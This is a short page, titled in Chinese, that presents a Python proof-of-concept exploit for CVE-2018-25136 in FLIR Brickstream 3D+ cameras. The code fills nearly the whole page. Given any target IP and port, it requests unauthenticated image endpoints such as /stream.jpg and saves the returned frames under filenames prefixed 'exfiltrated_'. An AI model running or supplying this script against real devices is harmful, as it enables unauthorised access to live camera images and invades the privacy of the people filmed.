CVE-2018-25136: FLIR Brickstream 3D+ 未授权访问实时视频流漏洞

#!/usr/bin/env python3 # CVE-2018-25136 PoC - FLIR Brickstream 3D+ Unauthenticated Video Stream Access # This PoC demonstrates the vulnerability that allows remote attackers to access # live video streams without credentials. import requests import sys import argparse def check_vulnerability(target_ip, target_port=80): """Check if target is vulnerable to CVE-2018-25136""" base_url = f"http://{target_ip}:{target_port}" # Image endpoints that can be accessed without authentication endpoints = [ "/middleImage.jpg", "/rightimage.jpg", "/leftimage.jpg", "/stream.jpg" ] print(f"[*] Testing target: {base_url}") print(f"[*] CVE-2018-25136 - FLIR Brickstream Unauthenticated Access\n") vulnerable = False for endpoint in endpoints: try: url = base_url + endpoint print(f"[*] Testing endpoint: {endpoint}") response = requests.get(url, timeout=10) if response.status_code == 200: content_type = response.headers.get('Content-Type', '') content_length = len(response.content) if 'image' in content_type or response.content[:3] == b'\xff\xd8\xff': print(f"[+] VULNERABLE! Endpoint {endpoint} returned image data") print(f" Content-Type: {content_type}") print(f" Size: {content_length} bytes") # Save the image filename = f"exfiltrated_{endpoint.replace('/', '')}" with open(filename, 'wb') as f: f.write(response.content) print(f" Saved to: {filename}") vulnerable = True else: print(f"[-] Endpoint accessible but no image data returned") elif response.status_code == 401: print(f"[-] Endpoint requires authentication") else: print(f"[-] Endpoint returned status code: {response.status_code}") except requests.exceptions.Timeout: print(f"[-] Request timeout for {endpoint}") except requests.exceptions.ConnectionError: print(f"[-] Connection error for {endpoint}") except Exception as e: print(f"[-] Error testing {endpoint}: {str(e)}") return vulnerable def main(): parser = argparse.ArgumentParser(description='CVE-2018-25136 PoC') parser.add_argument('target', help='Target IP address or hostname') parser.add_argument('-p', '--port', type=int, default=80, help='Target port (default: 80)') args = parser.parse_args() if check_vulnerability(args.target, args.port): print("\n[!] Target is VULNERABLE to CVE-2018-25136") print("[!] Attackers can access live video streams without authentication") sys.exit(1) else: print("\n[-] Target appears to be patched or not vulnerable") sys.exit(0) if __name__ == "__main__": main()